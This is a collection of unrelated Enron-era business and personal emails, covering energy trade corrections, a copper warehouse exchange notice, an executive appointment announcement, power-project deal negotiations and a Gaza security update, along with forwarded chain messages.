Subject: Re: interest

May we meet to discuss my interest in joining your group?
I have a strong quantitative discipline and am highly numerate.

Thanks
David 3-3528
---------------------- Forwarded by David P Dupre/HOU/ECT on 06/15/2000 11:53 
cc:  

This trade is good, but entered late. Deal # is 500534.

01/18/2001 02:42 PM
cc:  

Subject: Missing Matt Motley deal

Per Prebon:
Matt sold to Public Service of Colorado 25 mw of Q4 PV at $150.00

We need to change the demand fee on deal 384258 for Tenaska IV for 4/01.  The Williams invoice was not as much as the spreadsheet showed, so our expenses decreased.  Please change the amount from $2,979,909.91 to $2,862,531.95.  I have attached the revised spreadsheet.

Thanks,
Megan

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=20
=20
=20
=20
=20
=20
=20
=20

I need to check on this.  I need to make sure we are not paying for this.  If 
it turns out to be retail, I will make sure I give CES credit for the 
transport.

jporte1@columbiaenergygroup.com on 03/31/2000 08:16:24 AM
To: " - *Chris.Germany@enron.com" <Chris.Germany@enron.com>, " - 
*Scott.Goodell@enron.com" <Scott.Goodell@enron.com>
cc: " - *Kinney, Doug" <BLOCK@columbiaenergygroup.com>, " - *Dalphon, 
Charles" <cdalpho@columbiaenergygroup.com> 
Subject: TCO Capacity

Just found out that we have acces to 15,000 of Aritech's capacity on TCO for
Apr & May, for $0.01, primary COH 3-15. Can we replace capacity ENA bought for
4/1 and would there be any cost?

FYI.

Thanks.
Gary

> From: Lamb, Daniel G.
> Sent: Tuesday, December 12, 2000 5:34 PM
> To: Fergus, Gary S.
> Subject: Enron
>
> Gary, I just received a call from Doug Tribble at P,M&S.  He is
> representing Dynergy in both the Hendricks and the Gordon litigation.  He
> wanted to know if we could represent Morgan, Stanley.  When he learned
> that we were representing Enron, he invited us to join the joint defense
> group that has been formed among the Gordon defendants, subject to
> approval of the other defendants.  That group is
> made up of the following:
>
> Reliant - Baker & Botts/Luce, Forward (Steiner)
>
> AES Corp. - Williams & Connelly/Dicks & Shapiro
>
> NRG Energy - Sheppard, Mullin
>
> Southern Company - White & Case/Trautman, Sanders
>
> Williams Energy - Gray, Cary/Jones, Day
>
> So far as I know, Duke Energy and PG&E are not represented yet.
>
> Doug says his group has already filed a low number/related case petition
> to get the Hendricks case transferred to Mac Amos from Myers.  The group
> also plans to remove the Gordon case on federal question grounds based on
> some group research they have done.  They would like to remove the
> Hendricks case at about the same time, but haven't been able to line up
> all of the defendants.  I assume that was part of the reason for his call
> and his request that we represent Morgan, Stanley.  Apparently an earlier
> case filed against SDG&E was removed and assigned to Judge Gonzales.  If
> Hendricks and Gordon are removed, they will be low numbered to Gonzales.
> She is one of the better federal judges, but she has some shortcomings
> that we should talk about.
>
> Anyway, it looks like teams are forming, and we should think about
> coordinating with them.  I asked Doug to send me a copy of the joint
> defense agreement they are circulating, but he could not do so without the
> other defendants' approval.  They are concerned about including Sempra's
> counsel in their group, and therefore haven't included any Hendricks
> defendants who are not also in Gordon.
>
> Dan

---------------------- Forwarded by Ami Chokshi/Corp/Enron on 12/23/99 10:30 

royal_b_edmondson@reliantenergy.com on 12/22/99 02:31:09 PM
To: Ami Chokshi/Corp/Enron@ENRON
cc:  

Subject: Re:  best guess right now.... should go up but a little to soon  to 
be sure...

(See attached file: HPL-Jan.xls)

 - HPL-Jan.xls

From: 	"Beaty, Beverly B" <Beverly.B.Beaty@Williams.com>@ENRON  
Sent:	Monday, March 04, 2002 2:55 PM
To:	Kelly, Katherine L.
Subject:	FW: Fw: A card trick for you, Hard to believe it works           	           ...

This one really does work!!

From: Melstiles@aol.com [mailto:Melstiles@aol.com]
Sent: Monday, March 04, 2002 2:39 PM
To: Beaty, Beverly B; DivaCarol@cfl.rr.com; cstiles@houston.rr.com;
lizirvin15@hotmail.com; Karolyn.L.Grant@boeing.com;
wilsonke@earthlink.net; lindalongoria@hotmail.com; monica_mr@yahoo.com;
sphillips@mpwcpa.com; ritas@davispenn.com;
ERollins@redstonecompanies.com; psophonia@usa.net;
toddhorton26@hotmail.com; tianessie@att.net
Subject: Fwd: Fw: A card trick for you, Hard to believe it works ...

Message-ID: <ac.2384fc8a.29b4d9b2@aol.com>
From: JackLeeOakmont@aol.com
To: llee@interfithealth.com, Carriem1997@aol.com, butch_novy@msn.com, 	werftw@aol.com, Melstiles@aol.com
Subject: Fwd: Fw: A card trick for you, Hard to believe it works          	            ...
Date: Mon, 4 Mar 2002 07:07:46 -0700
return-path: <JackLeeOakmont@aol.com>
full-name: JackLeeOakmont
Content-Type: multipart/mixed;	boundary="----_=_NextPart_002_01C1C3BE.D7435040"

In a message dated 3/3/02 9:44:53 PM Central Standard Time,
nanabernie@webtv.net writes:

<<  http://cs.bluffton.edu/~scoffman/magic.html   >>

Message-ID: <9574-3C82EDA4-1285@storefull-133.iap.bryant.webtv.net>
From: bernie feld <nanabernie@webtv.net>
To: Janarama@monad.net, Jleelyman@aol.com, jean@vipers.com, 	PHYL73F@aol.com, Jweingarten@pdq.net, HmRich@aol.com, MGlesby@aol.com, 	Ralphdco@swbell.net, Akotlen@aol.com, Butch_novy@email.msn.com, 	RSpolane@swbell.net, Carole@optelnow.net, BLB5233@aol.com, 	llee@interfithealth.com, AlvENER@aol.com, yale.Falru@aol.com, 	Minnajenna@aol.com, DToomim1@aol.com, cDCMGC@aol.com, leeleepenn@aol.com, 	Perrycohen@yahoo.com, Stewart.l.lyman@vanderbilt.edu, 	Jdlee80@mail.utexas.edu, Ali142@aol.com, Llee106@hotmail.com, 	jackleeoakmont@aol.com, Jill.cohen@yale.edu
Subject: Fwd: Fw: A card trick for you, Hard to believe itworks           	           ...
Date: Sun, 3 Mar 2002 20:44:36 -0700
return-path: <nanabernie@webtv.net>
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Content-Description: Fwd: Fw: A card trick for you, Hard to believe itworks                      ...

Message-ID: <117.d82ee00.29b41166@aol.com>
From: ECZ310@aol.com
To: Ninaleek@webtv.net
Cc: Nanabernie@webtv.net
Date: Sun, 3 Mar 2002 16:53:10 -0700
delivered-to: nanabernie@webtv.net
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Message-ID: <113.d78799d.29b382aa@aol.com>
From: CookieKC@aol.com
To: undisclosed-recipients <undisclosed-recipients:;>
Date: Sun, 3 Mar 2002 06:44:10 -0700
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full-name: CookieKC
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Message-ID: <OE200CYixMwInhdAHxN0000dcbc@hotmail.com>
From: evelyn simon <evelynsimon@msn.com>
To: AVERY BATES <AVERYBATES@COX.NET>, Robert Draper	 <rdraper@houston.rr.com>, COOKIE COMMANDER <COOKIEKC@AOL.COM>, 	margaret hulse <mehulse@aol.com>
Subject: Fw: A card trick for you, Hard to believe it works               	             Ho
Date: Sat, 2 Mar 2002 17:06:21 -0700
return-path: <evelynsimon@msn.com>
x-originalarrivaltime: 03 Mar 2002 00:04:28.0467 (UTC) FILETIME=[FC9C1030:01C1C246]
x-originating-ip: [67.192.133.197]
Content-Type: text/plain;	charset="iso-8859-1"

HOPE YOU ENJOY THIS TRICK.  IT IS DRIVING ME CRAZY.

EVELYN

From: Estelle Kastleman
Sent: Saturday, March 02, 2002 5:46 PM
To: evelyn; eileen; diamond; marilyns; may/al; amber; palansk; Lynn
Lunceford
Subject: Fw: A card trick for you, Hard to believe it works How does this
work?

From: Helene Rudick <mailto:hazie28@pdq.net>
To: Rose Calvin <mailto:roca@pdq.net>  ; Linda Davis
<mailto:lhd53@hotmail.com>  ; lillie gates <mailto:lmgates@ev1.net>  ;
Julio/ Mary <mailto:Whorock@aol.com>  ; estelle kastleman
<mailto:ekastle9@pdq.net>  ; Bob Lester <mailto:RLester@Houston.rr.com>  ;
betty hatley <mailto:bhatley@juno.com>  ; arlene2001
<mailto:arlene2001@pdq.net>  ; Ann Joachim <mailto:htownannie@aol.com>
Sent: Saturday, March 02, 2002 1:22 PM
work?

Subject: Fw: A card trick for you, Hard to believe it works

-----
Subject: A card trick for you, Hard to believe it works

Click here: http://cs.bluffton.edu/~scoffman/magic.html
<http://cs.bluffton.edu/~scoffman/magic.html>

Daren,

Maynard Oil at meter # 6674 revised their nom from 4,920 to 5,595 for July.

Bob

Notice No:  02-54
February 13, 2002

TO:		ALL COMEX DIVISION MEMBERS
		ALL NYMEX DIVISION MEMBERS

FROM:	J. Robert Collins, Jr., President

SUBJECT:	Approved Amendment to Supplement No. 2, "Licensed Warehouses
for Copper" of the Copper Futures Contract.

The Exchange has received approval from the Commodity Futures Trading
Commission to amend Supplement No. 2, "Licensed Warehouses for Copper" of
the Grade 1 Copper Futures Contract.  The approved amendments add the Utah
Commodity Storage, Inc. warehouse facilities located at building 661, 1730
West I Avenue and building 670, 210 North Lodestone Way, Tooele, Utah, as
Licensed Warehouses for the storage of copper deliverable against the
Exchange's COMEX Division Grade 1 Copper Futures Contract.

Attached is a copy of the handling and storage charges for copper.

The approved amendments are effective February 14, 2002.

Should you have any questions please contact Albert J. Getz at 212-299-2608.

Approved Amendments.  Underlining indicates additions.  Bracketing [ ]
indicates deletions.

Copper Supplement
No. 2

COMMODITY EXCHANGE, INC.

LICENSED WAREHOUSES FOR COPPER

								FACILITIES
COMPUTER CODE

STRATFORD, CONNECTICUT

William B. Meyer, Inc.-------------------------------	Long Beach Boulevard
2202
  P.O. Box 4206					Stratford, Conn.
  Bridgeport, Conn. 06607
  (Orders: (203) 375-5801)

CAMDEN, NEW JERSEY

  South Jersey Port Corporation----------------------	Second & Beckett
Streets 	2602
  P.O. Box 129						Camden, NJ
  Camden, NJ 08101
  (Orders:  (856)-757-4983)

BALTIMORE, MARYLAND

Edgemere Terminals, Inc.----------------------------	8004 Stansbury Road
3402
  8004 Stansbury Road				Baltimore, Md.
  Baltimore, Md. 21222
  (Orders:  (410) 282-4420)

Locust Industries, Inc.-------------------------------	4747 Hollins Ferry
Road	3606
  4747 Hollins Ferry Road				Baltimore, Md.
  Baltimore, Md. 21227
  (Orders:  (410) 247-9520)

Madison Warehouse Corporation------------------	7330 Carbide Road
3204
  7330 Carbide Road	                          		Baltimore,
Md.
  Baltimore, Md. 21226
  (Orders:  (410) 360-2300)

NORFOLK, VIRGINIA

Virginia International Terminals, Inc.--------------	Warehouse Nos. 3 & 5
4202
  601 World Trade Center				7737 Hampton
Boulevard
  Norfolk, Va. 23510					Norfolk, Va.
  (Orders:  Va. (757) - 440-7206)

ST. LOUIS, MISSOURI

Madison Warehouse Corporation-------------------	4600 Goodfellow
Blvd.	4408
  4300 Planned Industrial Drive			St. Louis, Mo
  St. Louis, Missouri  63120
  (Orders:  (314) 383-4300)                   		.

NEW ORLEANS, LOUISIANA

Hayes/Dockside, Inc.---------------------------------	7200 North Peters
Street 	5206
  P.O. Box 53315					Arabi, La.
  New Orleans, La. 70153				6025 River Road
5210
(Orders:  (504) 897-5020)				Marrero, La.

AMARILLO, TEXAS

Dalby Moving & Storage Co., Inc.------		401 North Arthur Street	5602
  P.O. Box 78450					Amarillo, Texas
  Tucson, Arizona  85703				415 North Grand
Avenue	5606
  (Orders:  (520) 887-3606)			      	Amarillo, Texas

EL PASO, TEXAS

El Paso Terminal Warehouse, Inc.------------------	5850 Welch Avenue,
#1	5804
  P.O. Box 9248					El Paso, Texas
  El Paso, Texas 79983				5850 Welch Avenue, #2	5806
  (Orders:  (915) 772-2758)				El Paso, Texas

TUCSON, ARIZONA

Arizona Commodity Storage , Inc.----		601 East 24th Street
5502
  2724 Meadow Creek Court				Tucson, Arizona
  Park City, Utah 84060			     	850 East Teton		5506
  (Orders:  (435) 649-3333)				Tucson, Arizona
								2004 S.
Euclid Avenue	5508
								Tucson,
Arizona

Southwest Commodity Warehouses, Inc.----------	4619 North Highway Drive
5902
  P.O. Box 78450					Tucson, Arizona
  Tucson, Arizona 85703-8450			1 Jacobus Road		6202
  (Orders:  (520) 887-3606 				San Manuel, Arizona

SALT LAKE CITY, UTAH

Utah Commodity Storage, Inc.----------------------	Building 1 & 2
5702
  2724 Meadow Creek Court 				1051 South
Industrial Parkway
  Park City, Utah 84060				Clearfield, Utah
  (Orders:  (435) 649-3333)				11th Street-Section
E-12 	5704
								Freeport
Center
								Clearfield,
Utah
								Building H-9
5706
								Freeport
Center
Utah

								Building 661
5708
								1730 West I
Avenue
								Tooele, Utah

								Building 670
5710
								210 North
Loadstone Way

UTAH COMMODITY STORAGE, INC.

TOOELE, UTAH

HANDLING AND STORAGE CHARGES FOR COPPER

Monthly Storage Charge per Short Ton:				$ 3.85

Handling Inbound per Short Ton:					$ 0.00

Handling Outbound per Short Ton:
$23.50

Weighing Charges per Short Ton:					$ 0.00

Insurance Charges:							$
0.00

Preparation of Warehouse Receipt:					$
0.00

Replacement of Warehouse Receipt:
$10.00

Issuance of Bill of Lading:						$
7.00 per bill of lading

Truck Loading Charge per Short Ton:					$
0.00

Rail Car Loading Charge per Short Ton:				$ 0.00

Labor Rate per Hour:	Included, unless special arrangement is made.

Congratulations, Sally!!!

KK
---------------------- Forwarded by Kathy Kokas/Corp/Enron on 01/17/2000=20
08:08 PM ---------------------------
  =20
=09
=09
=09From:  Rick Causey                           01/17/2000 06:04 PM
=09

Sent by: Enron Announcements
To: All Enron Worldwide
cc: =20

Subject: Global Risk Management Operations

Recognizing Enron=01,s increasing worldwide presence in the wholesale energ=
y=20
business and the need to insure outstanding internal controls for all of ou=
r=20
risk management activities, regardless of location, a global risk managemen=
t=20
operations function has been created under the direction of Sally W. Beck,=
=20
Vice President.  In this role, Sally will report to Rick Causey, Executive=
=20
Vice President and Chief Accounting Officer. =20

Sally=01,s responsibilities with regard to Global Risk Management Operation=
s=20
will mirror those of other recently created Enron global functions.  In thi=
s=20
role, Sally will work closely with all Enron geographic regions and wholesa=
le=20
companies to insure that each entity receives individualized regional suppo=
rt=20
while also focusing on the following global responsibilities:

1. Enhance communication among risk management operations professionals.
2. Assure the proliferation of best operational practices around the globe.=
 =20
3. Facilitate the allocation of human resources. =20
4. Provide training for risk management operations personnel.
5. Coordinate user requirements for shared operational systems.=20
6. Oversee the creation of a global internal control audit plan for risk=20
management activities.
7. Establish procedures for opening new risk management operations offices=
=20
and create key benchmarks for measuring on-going risk controls.  =20

Each regional operations team will continue its direct reporting relationsh=
ip=20
within its business unit, and will collaborate with Sally in the delivery o=
f=20
these critical items. The Houston-based risk management operations team und=
er=20
Sue Frusco=01,s leadership, which currently supports risk management activi=
ties=20
for South America and Australia, will also report directly to Sally.  =20

Sally retains her role as Vice President of  Energy Operations for Enron=20
North America, reporting to the ENA Office of the Chairman.  She has been i=
n=20
her current role over Energy Operations since 1997, where she manages risk=
=20
consolidation and reporting, risk management administration, physical produ=
ct=20
delivery, confirmations and cash management for ENA=01,s physical commodity=
=20
trading, energy derivatives trading and financial products trading. =20

Sally has been with Enron since 1992, when she joined the company as a=20
manager in Global Credit.  Prior to joining Enron,  Sally had four years=20
experience as a commercial banker and spent seven years as a registered=20
securities principal with a regional investment banking firm.  She also own=
ed=20
and managed a retail business for several years.=20

Please join me in supporting Sally in this additional coordination role for=
=20
global risk management operations.

Recommendations:

As the General Manager of the PERC/Enron Joint Power Development Program, 
Enron hereby submits its recommendations to the Management Committee for 
their consideration regarding the pending Torrence south parcel land 
acquisition decision.

After reviewing the relevant commercial, legal and environmental issues with 
the respective Project Managers and development personnel, Enron recommends 
that the following courses of action be undertaken:

1.  PERC should notify Peoples Gas, Light & Coke (PGL) on 6/16/00 that PERC 
does not intend to assume the role of Buyer as provided for in the terms of 
the land purchase Agreement executed between PGL and Air Liquide on 
4/11/2000. 

2.  Assuming that PGL assumes the role of Buyer under the terms of the land 
purchase Agreement executed between PGL and Air Liquide on 4/11/2000 and PGL 
proceeds to the scheduled 6/26/00 closing, PERC and Enron should continue 
their due diligence and development activities on the Torrence south parcel.  
Upon establishment of a proposed budget and schedule, these activities should 
be focused on achieving the goals of minimizing out-of-pocket development 
expenses and implementing prudent risk mitigation strategies on behalf of 
PERC and Enron.

3.  Assuming that PGL assumes the role of Buyer under the terms of the land 
plans to proceed to the scheduled 6/26/00 closing, PERC and PGL should 
immediately begin preparation of the documents necessary to achieve the ICC 
approval of any future transfer (sale,lease, or alternative structure) of the 
Torrence south parcel from PGL to Torrence Power LLC.

Other Issues/Risks:

1.  This recommendation is based upon the belief that although the Torrence 
south parcel does hold potential value to PERC and Enron as a project 
development site, the overall viability and risk/reward profile of the 
commercial opportunity has not yet been sufficiently finalized.  

The potential sources of value associated with this site are listed below:

 a. The site/project currently hold a priority position in the ComEd 
interconnection queue.
 b. The site (in combination with the Calumet project) captures the majority 
of available interconnection capability (500-600 MW) in the Calumet region of 
the ComEd system.  This would force competing IPP projects (i.e. Wizvest) to 
bear the financial burden of ComEd system upgrade costs.
 c. The site (in combination with the Calumet project) represents an integral 
component of developing a commercial solution to the Mission Energy/ComEd 500 
MW "in-city" regulatory obligation to the city of the Chicago.
 d. The site represents one of the unique in-city sites capable of supporting 
a power project from a zoning, fuel supply, and transmission perspective.

The factors contributing to the recommendation for PERC and Enron not to 
proceed to closing on 6/26/00 are listed below:

 a. The existence of known environmental contamination and the liabilities 
associated with entering the chain of title on the Torrence south parcel.
 b. The indemnification language contained within the land purchase Agreement 
executed between PGL and Air Liquide on 4/11/2000.
 c. The incomplete status of the overall commercial development opportunity 
associated with the Torrence south parcel.
 d. PERC and Enron's desire to maintain the flexibility to minimize 
development costs while further developing the commercial development 
opportunity and associated value proposition prior to executing an 
ICC-approved land transfer from PGL to Torrence Power LLC.

2.  It is PERC and Enron's understanding that PGL plans to proceed to the 
closing on 6/26/00 and assume the role of Buyer under the terms of the land 
purchase Agreement executed between PGL and Air Liquide on 4/11/2000.  

3.  The south parcel represents a potential power plant development project 
site upon which PERC and Enron will continue to conduct due diligence and 
development activities.  The site is currently being evaluated as a candidate 
for a 6 x LM 6000 facility with either an '01 or '02 in-service date.

4.  PERC and Enron have decided that it would not be prudent for either of 
their respective organizations to assume any form of environmental liability 
associated with the Torrence south parcel. PERC and Enron shall work to 
develop risk mitigation strategies including land options, environmental 
indemnifications, and other structures which protect their respective assets 
and the overall economic viability of a development project on the Torrence 
south parcel.

5.  A potential risk associated with the above recommendations is that the 
time required to complete the ICC approval process necessary to transfer the 
Torrence south parcel from PGL to Torrence Power LLC.  PERC development 
personnel have estimated that the ICC approval process could require up to 6 
months (The transfer of the Calumet parcel was "fast-tracked" and took 3 
months to achieve ICC approval).  This risk could impact the viability of an 
'01 in-service date for a Torrence Power LLC development project.  PERC and 
Enron will work to minimize the impact of this risk.

6.  PERC and Enron shall work to develop a binding agreement which specifies 
an approval and cost-sharing mechanism for future development decisions on 
the Torrence south parcel.  Such an agreement shall also specify a formula 
for the sharing of proceeds associated with the marketing/selldown strategy 
currently under development by PERC and Enron for all of the Chicago 
development projects.

Feel free to contact me if you have any questions or wish to discuss the 
above recommendations and information.

Fred Mitro
General Manager

steve,

i still don't have january sales.  please email to kathy and chris.

thanks
joan 

Tana:  So you'll know.  Sun MicroSystems is the agreement that's been 
floating out there - I think hung up on the residuals clause.  Travis is out 
of town until May 7.  Is Mark Greenberg picking up Net Works stuff?  

----- Forwarded by Kay Young/HOU/ECT on 04/27/2001 08:39 AM -----

	Rex Shelby/ENRON@enronXgate
	04/27/2001 07:51 AM
		 
		 To: jonathan.schwartz@sun.com@SMTP@enronXgate, 
john.fowler@sun.com@SMTP@enronXgate
		 cc: Kay Young/HOU/ECT@ECT, Travis McCullough/HOU/ECT@ECT, Rex 
Shelby/ENRON@enronXgate
		 Subject: 

Hello Jonathan, John --

We look forward to the meeting next Wed. the 2nd in Palo Alto.  

Let's get at least a basic NDA in place so that we can get into some detail 
at the meeting.  Who should we work with on this?  Best regards.

-- Rex Shelby
   Enron Net Works
   rex.shelby@enron.com
**************************************************************************

opps
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/27/2001 12:48 

Kay Mann
02/27/2001 12:47 PM
To: Dale Rasmussen/HOU/ECT@ECT
cc:  

Subject: Re: Panda Energy

more information
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/27/2001 12:47 

Fred Mitro@ECT
02/27/2001 09:42 AM
To: Kay Mann/Corp/Enron@ENRON
cc: Ben Jacoby/HOU/ECT@ECT, Chris Booth/NA/Enron@Enron, Kathleen 
Carnahan/NA/Enron@Enron, Stephen Thome/HOU/ECT@ECT 

Subject: Re: Panda Energy  

Kay,

Our deal with Panda Energy involves 4 LM units.  I believe that this is the 
total number of units in our current LV Co Gen project.  Ben is planning to 
talk with Lee at GE.

I talked with Panda this morning.  They do not have a fixed close date.  They 
are working off the assumption that closing will ocurr within 4-6 weeks of 
signing the Letter Agreement.  I believe that this is doable.

Chris Booth will provide you with respective unit delivery dates.  He is 
working with Matt Tezyk to determine the serial #'s (apparently GE has not 
yet assigned serial #'s to the units).  What price are we assigning to the 
LLC member interests in the Northwestern Letter Agreement?  Let's stay 
consistent with that document.  The person who will be signing for Panda is 
Gary Hubbard, Senior Vice President.

The purchase price is $16.45 MM per unit with a 10% development fee payable 
to ENA upon execution of the Letter Agreement.  The balance of the purchase 
price will escrowed by Panda upon approval of the Facility Agreement (similar 
to Intergen structure) and payable to ENA at closing.  Is this the pricing 
information that you need to establish the maximum liability amont?

Ben:  We need to talk re: the transformers.  We quoted Panda $950K per unit 
for the two transformers.  It is not clear if the transformers will work for 
Panda w.r.t. interconnect voltage and plant configuration.  If we are 
re-loading with more LM's, do we need to keep the transformers for our use at 
LV Co-Gen?

Kathleen:  I have a call into Bill Lamb at Panda regarding the CA's.  I will 
let you know when I hear back from him.

Fred

Kay Mann@ENRON
02/26/2001 06:15 PM
To: Fred Mitro/HOU/ECT@ECT
Carnahan/NA/Enron@Enron 

Fred,

Dale Rasmussen has been handling the breakout contracts for the LV CoGen 
project, and I think the form is in good shape. However, the breakout 
contract is for all the LV Co Gen units, but that is easy enough to fix. Does 
GE know this is coming?

What are you projecting for a closing date?

 We need the unit numbers (original and serial), associated delivery dates, 
price attributable to the units (maximum liability amount), price to sell the 
LLC member interests, and the contact persons from Panda for the contract.  
Will there be a development fee, and if so, how much?

If you get me the particulars of the deal we can work on it in house.  We 
have the forms, so we can get cracking without outside counsel.  In fact, 
I've been working on the form letter agreement today in connection with the 
other deal.  Retaining outside counsel requires internal approval, which I'm 
sure we can get in the next day or two, assuming no conflict of interest. I 
can get started on the process if you are ready.

If you think these guys are serious, we can set up the LLC's.  We may want 
two LLC's if the total price is in excess of $50mm.  Kathleen, please talk to 
me before we do this as I think we should discuss the slate of officers.

Kay

02/26/2001 05:56 PM
To: Stephen Thome/HOU/ECT@ECT
cc: Ben Jacoby/HOU/ECT@ECT, Christopher F Calger/PDX/ECT@ECT, Kay 
Mann/Corp/Enron@Enron, Chris Booth/NA/Enron@Enron, Kathleen 

Subject: Panda Energy

Steve:

I talked with Ben this afternoon and understand that we are ready to proceed 
with Panda Energy in a transaction involving the sale of member interests in 
special purpose entities associated with the four(4) LV units.  I have left a 
message with Panda letting them know that we are prepared to proceed and will 
begin preparing a set of draft definitive agreements for their review.  I 
have asked Panda to confirm that they are ready to receive these documents 
and proceed.  I understand that you are in Houston.  Please call/see me 
tomorrow morning so that we can discuss this transaction.

Kay:  We need to prepare a draft set of definitive agreements for this 
transaction.  Can Carolyn complete this while you are in New York?  Also, 
what is the status of the LM Breakout contract for the 4 LV units.  Let me 
know.

Kathleen:  We need to confirm tomorrow morning that we have received executed 
CA's from Panda.  I have the CA execution originals for the four Panda 
entities at my desk for Ben's signature.  These need to be received prior to 
sending Panda the definitive agreements.  We will fax signature pages to Ben 
tomorrow.

Chris:  See me tomorrow morning to discuss the technical spec's that were 
sent to Panda

I will be at my desk by 8 am tomorrow morning.

Thanks,
Fred
x35406

Loan Decision:           Referred

Application Number:   725068.01

   Decision Date:       4/5/2001

Borrower Information:

   Applicant:              Don Cliff Baughman

Product Information:  Personal Loan

Special Instructions:
Your loan request has been sent to our main office for further review.
You will be notified of the decision within 24-48 hours.

PLEASE NOTE: This is not an active email account, and is only used for
returning loan decisions.  Please do not reply to this email address, as
it will not reach a recipient.

Hi Andy

I will speak on any panel, but my preference would be the  1st panel and I 
would speak on the CA experience and how EEI helps.  Also, I'd be happy to do 
products on day 2.  Hope all is well and look forward to seeing you soon.

PS Thanks so much for the plant - it is resting comfortably in my office and 
reminds me of all the times at EEI meetings and the wonderful friends I have 
met during this process.

This made it!  We are still waiting today to find out if we can get a Visa 
today.  If so, I will be on the way to South America on Sunday evening.  If 
Chris' associate has any recommendations, I would love to hear them.  

"White, Cara" <CWhite@texas.usta.com> on 02/04/2000 10:42:16 AM
cc:  
Subject: does it work? 

Our other sister says this e-mail will work.   Let me know if you get this
by e-mailing me back!   By the way, if you need any tips for South America,
one of the guys who works with Chris is from Brazil - and a bunch of them
travel down there . . . cw

Julie,

I signed the request for a check today.

Vince

"Julie" <julie@lacimagroup.com> on 05/09/2001 04:47:05 PM
Please respond to "Julie" <julie@lacimagroup.com>
To: "VinceJKaminski" <Vince.J.Kaminski@enron.com>
cc: <Shirley.Crenshaw@enron.com> 
Subject: new invoice for energy and weather

Vince,
?
Please find attached a replacement invoice for invoice number 215.?  This 
invoice includes the correction in charges for the weather course, and for  
only one attendee for the energy derivatives course.
?
If you should have any questions, please contact me.
?
Julie
 - Enron283_9_04_01.doc

Tuesday, March 20, 2001
Electric Power Daily
ENTERGY, FPL GROUP SAY =01+ISSUES HAVE ARISEN=01,
IN PENDING MERGER, WILL NEED MORE TALKS
Entergy and FPL Group said Monday that they would hold talks soon to
address a address =01&certain issues=018 that have arisen in connection wit=
h their
pending merger, which had been agreed to last July. In a joint statement, t=
he
companies identified =01&governance structure/value-related issues and=20
integra-tion
of the two companies =01& as matters that would be discussed.
The two sides refused to make any further comments on the merger,
making unclear which side had raised questions about the original deal. The
companies gave no dates for the new talks, and they did not say if the merg=
er
is still targeted to be completed by the end of the year.
Under the terms of the July 29 deal, which was called a =01&merger of equal=
s,=018
shareholders in the two existing companies would turn in stock and receive
shares in the new merged company that would have a market capitalization of
$16.4-billion and $10.7-billion in debt and preferred stock. Also under the=
=20
deal,
FPL Chairman James Broadhead would become chairman of
the new group and Entergy head Wayne Leonard would be
president and chief executive officer. FPL would name eight
directors to the new groups=01, board and Entergy seven.
The announcement that the two sides would hold new
talks about the merger was made early Monday and during
the day common stocks of Entergy and FPL both slumped
but closed above their lows for the day and well-ahead of
year-before levels. Entergy traded as low as $36.25 before
closing down 60 cents (1.6%) at $36.90, up 85.1% from
March 20, 2000. FPL got as low as $60.50 and closed down
$2.44 (3.8%) at $61.81. It was Monday=01,s biggest loser among
electric stocks but was up 43.5% from March 20, 2000.
Under the July 31, 2000, agreement, FPL holders are to
get one share of a new holding company for each of their
shares, and Entergy holders are to get 0.585 shares. At
Monday=01,s closing price 0.585 of an FPL share was worth
$36.159, less than Entergy=01,s closing price, so the acquisition
premium would be negative 2%. Lehman Brothers downgraded
both Entergy and FPL Group from Strong Buy to Buy.

Thanks Jeff. 

Mike/Jeff:  FYI---all of our people are out of Gaza except four egyptians 
that are safe in Gaza city( a quiet area because no Israelis will enter).  We 
are working on a plan to get the egyptians safely back to egypt, but now is 
not the time for them to move.  ABB has pulled its people out so construction 
is stalled.  I saw some dramatic pictures on CNN here showing an Israeli 
helicopter hovering over our plant, shooting rockets into the Netzarim 
junction about a quarter mile away.

Andrew will be in London on Monday to initiate discussions with British Gas.  
I will follow up with Andrew/BG after he lays the groundwork.

Rick 

Jeffrey Hammad
10/08/2000 10:47 AM
To: Andrew Makk, Mac McClelland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rick 
Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Jim Rountree/OTS/Enron@Enron, Yaser 
Tobeh/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Latest developments in Palestine

All borders to Gaza have now been completely closed for both Palestinians and 
foreigners, including a shutdown of the Gaza airport.  The Palestinians 
rejected the Israeli ultimatum, and an escalation of the conflict is widely 
expected to begin on Monday night.  

I have spoken with some Americans and British friends who had stayed in Gaza, 
and they  reported that their embassy's have called them, and warned them of 
a possible escalation following the expiration of Baraks 48 hour ultimatum.  
There is little that the embassy's have been able to do to help the people 
still in Gaza due to the political sensitivites and lack of cooperation 
between them and the IDF, but we should take note of their response, as 
confirmation that we cannot rely on their assistance in the future for 
evacuations.  When Jim Roundtree and I visisted the head of security at the 
US embassy, he warned that an evacuation of Gaza by the US embassy is very 
unlikely under any circumstances because of the difficulty of coordinating 
such an excercise with the US military, and the "political message" it would 
send.  

Regards,

Jeff

Hi there,

I am meeting with Ben tomorrow to discuss NWestern.  I'm fairly confident 
that he will be willing to extend the letter agreement, but he hasn't called 
me back today to confirm.

Ms. Kahn and I have exchanged voice mail.  Could one of you return her call 
for me?  I'm tied up.  You might get an idea on some times tomorrow for a 
call.  I'm booked until around 130 for anything which would last more than a 
few minutes.  I'll check with Ben.

Thank you,

Kay

FULL NAME:  Tori Denise Kuykendall
> > > WHAT'S ON YOUR MOUSE PAD?  University of Texas Longhorns!
> >  FAVORITE MAGAZINE: dont subscribe to any
> > > FAVORITE SMELL:  baking cookies
> > > FAVORITE SOUNDS: the birds outside in my backyard 
WORST FEELING IN THE WORLD: when someone i care about is sick or troubled 
> >
> >
> > > WHAT IS THE FIRST THING YOU THINK OF WHEN YOU WAKE
> >UP: do i really have to go to work today?????? 
> >
> > > ROLLER COASTER: SCARY OR EXCITING? exciting!  love em 
> >
> > > HOW MANY RINGS BEFORE YOU ANSWER THE PHONE? however long it takes me to 
look at the caller ID
> >
> > > FUTURE DAUGHTER'S NAME? Erin Rae -- only a month away -- unbelievable
> > > FUTURE SON'S NAME:  Cole Patrick -- thats my pick anyway
> >
> >  > CHOCOLATE OR VANILLA? chocolate
> >
> > > DO YOU LIKE TO DRIVE? much rather drive than ride  
> >
> >  > DO YOU SLEEP WITH A STUFFED ANIMAL? nope but i do hold a pillow
> >
> > > STORMS: SCARY OR COOL? scary but cool
> >
